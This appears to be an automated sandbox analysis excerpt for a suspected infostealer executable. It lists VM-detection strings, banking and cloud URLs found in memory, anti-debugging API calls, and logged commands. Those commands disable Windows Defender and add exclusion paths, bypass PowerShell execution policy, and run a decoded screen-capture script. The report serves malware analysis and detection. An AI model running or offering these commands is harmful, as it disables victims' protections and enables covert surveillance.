Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Afecodevmsrvc
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwareservice
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: getmac.exe, 0000004D.00000002.1482841194.0000028230D74000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1482040663.0000028230D4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: X9g8L63QGs.exe, 00000007.00000003.1595011521.000001E7C3017000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1487994418.000001E7C2F90000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1450291264.000001E7C2A01000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1457946992.000001E7C3A05000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593207468.000001E7C2F90000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1454766245.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1478379972.000001E7C3A02000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593207468.000001E7C2FDD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvboxtray
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Wf8vmusrvc
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: getmac.exe, 0000004D.00000002.1482841194.0000028230D74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: >fvmtoolsd
Source: getmac.exe, 0000004D.00000002.1482841194.0000028230D74000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1482040663.0000028230D4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Jfvmwareuser
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Code function: 4_2_00007FF7C266D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_00007FF7C266D19C

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Code function: 7_2_00007FFB1AB121D0 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

7_2_00007FFB1AB121D0

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Code function: 4_2_00007FF7C26834F0 GetProcessHeap,

4_2_00007FF7C26834F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C266D37C SetUnhandledExceptionFilter,	4_2_00007FF7C266D37C
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C266D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF7C266D19C
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C266C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FF7C266C910
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C267A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF7C267A684
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C266D37C SetUnhandledExceptionFilter,	7_2_00007FF7C266D37C
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C266D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF7C266D19C
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C266C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00007FF7C266C910
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C267A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF7C267A684
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B3028 IsProcessorFeaturePresent,00007FFB1C261A90,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFB1C261A90,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FFB0B8B3028
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C1ABE40 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FFB0C1ABE40
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1AB04630 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FFB1AB04630
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1B6F6524 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FFB1B6F6524
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BA49050 SetUnhandledExceptionFilter,	7_2_00007FFB1BA49050
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BA43328 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FFB1BA43328
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BB1A9DC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FFB1BB1A9DC
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1C260E08 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00007FFB1C260E08
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1D341CD0 IsProcessorFeaturePresent,00007FFB1C261A90,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFB1C261A90,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FFB1D341CD0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1D5B1AA0 IsProcessorFeaturePresent,00007FFB1C261A90,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFB1C261A90,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FFB1D5B1AA0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080F4C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	97_2_00007FF7080F4C10
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080EB52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	97_2_00007FF7080EB52C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080EA66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	97_2_00007FF7080EA66C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080EB6D8 SetUnhandledExceptionFilter,	97_2_00007FF7080EB6D8

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
